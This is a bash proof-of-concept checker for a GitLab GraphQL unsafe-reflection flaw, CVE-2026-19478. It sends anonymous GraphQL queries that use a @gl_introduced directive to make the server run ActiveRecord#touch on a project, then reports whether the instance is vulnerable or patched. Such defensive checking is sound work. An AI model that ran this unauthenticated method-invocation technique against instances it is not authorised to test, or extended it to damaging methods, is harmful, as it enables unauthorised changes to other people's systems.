#!/usr/bin/env bash
# cve-2026-19478-check.sh — is this GitLab instance vulnerable to CVE-2026-19478?
#
# Sends the SAME GraphQL document twice, differing only by the @gl_introduced directive,
# and reads one bit out of the pair:
#
#   control -> "undefinedField"   test -> true    VULNERABLE (the method ran)
#   control -> "undefinedField"   test -> null    patched (field fabricated, resolved to nil)
#   control -> anything else                      inconclusive — see below
#
# The method invoked is ActiveRecord::Persistence#touch, which bumps `updated_at` on the
# project and does nothing else. It is still a WRITE: run this against a project you
# created, on an instance you are authorised to test. No credential is sent — proving
# anonymous reach is the whole point.
#
# Affected: GitLab CE/EE >= 18.2 and < 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4.
# Fixed 2026-08-17. Write-up:
#   https://platformsecurity.com/blog/cve-2026-19478-gitlab-graphql-unsafe-reflection
#
# Usage: cve-2026-19478-check.sh https://gitlab.example.com group/project

set -euo pipefail

URL="${1:-}"; PROJ="${2:-}"
if [[ -z "$URL" || -z "$PROJ" ]]; then
  sed -n '2,24p' "$0"
  exit 2
fi
URL="${URL%/}"

command -v curl >/dev/null || { echo "needs curl" >&2; exit 1; }
command -v jq   >/dev/null || { echo "needs jq"   >&2; exit 1; }

q() {
  curl -sS -X POST "$URL/api/graphql" \
       -H 'Content-Type: application/json' \
       -d "$(jq -Rn --arg q "$1" '{query: $q}')"
}

CONTROL="{ __typename project(fullPath: \"$PROJ\") { id touch } }"
TEST="{ __typename project(fullPath: \"$PROJ\") @gl_introduced(version: \"99.0.0\") { id touch } }"

printf '─────────────────────────────────────────────────────────────────────\n'
printf 'endpoint : %s/api/graphql\n' "$URL"
printf 'project  : %s\n' "$PROJ"
printf 'auth     : NONE (anonymous)\n'
printf '─────────────────────────────────────────────────────────────────────\n\n'

printf '[CONTROL] %s\n' "$CONTROL"
C="$(q "$CONTROL")"
printf '  %s\n\n' "$(printf '%s' "$C" | jq -c 'if .errors then {errors: [.errors[].message]} else .data end')"

printf '[TEST   ] %s\n' "$TEST"
T="$(q "$TEST")"
printf '  %s\n\n' "$(printf '%s' "$T" | jq -c 'if .errors then {errors: [.errors[].message]} else .data end')"

printf '─────────────────────────────────────────────────────────────────────\n'

c_rejected=0
printf '%s' "$C" | jq -e \
  '.errors // [] | map(select(.message | test("Field .touch. doesn.t exist")
                                      or (.|test("undefinedField")))) | length > 0' \
  >/dev/null 2>&1 && c_rejected=1

# NB: `.data.project.touch // "absent"` would be wrong here — jq's // treats a null VALUE
# as absent, and `touch: null` is exactly the patched result we need to report distinctly.
touch_val="$(printf '%s' "$T" \
  | jq -c 'if ((.data.project? // {}) | type == "object" and has("touch"))
           then .data.project.touch else "absent" end' 2>/dev/null || echo '"absent"')"

if (( ! c_rejected )); then
  printf 'INCONCLUSIVE — the control was not rejected.\n'
  printf '  The control MUST come back as undefinedField. If it did not, either the project\n'
  printf '  path is wrong / not publicly readable, or something upstream is rewriting the\n'
  printf '  request. Fix that before trusting the test result.\n'
elif [[ "$touch_val" == "true" ]]; then
  printf '*** VULNERABLE *** control rejects `touch` as an undefined field; the same\n'
  printf '  document with @gl_introduced returned touch:true, so ActiveRecord#touch was\n'
  printf '  invoked by an unauthenticated request. Confirm out of band:\n'
  printf '    curl -s -H "PRIVATE-TOKEN: $TOKEN" %s/api/v4/projects/<id> | jq .updated_at\n' "$URL"
  printf '  Then upgrade: 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 or later.\n'
elif [[ "$touch_val" == "null" ]]; then
  printf 'PATCHED — the field was fabricated but resolved to null via NilResolver, which is\n'
  printf '  the fixed behaviour. No method was invoked.\n'
else
  printf 'NEGATIVE — the directive did not take effect (touch: %s).\n' "$touch_val"
  printf '  Either this version predates @gl_introduced entirely, or the directive is not\n'
  printf '  registered on this schema. Check the version directly:\n'
  printf '    sudo gitlab-rake gitlab:env:info | grep ^Version\n'
fi
printf '─────────────────────────────────────────────────────────────────────\n'
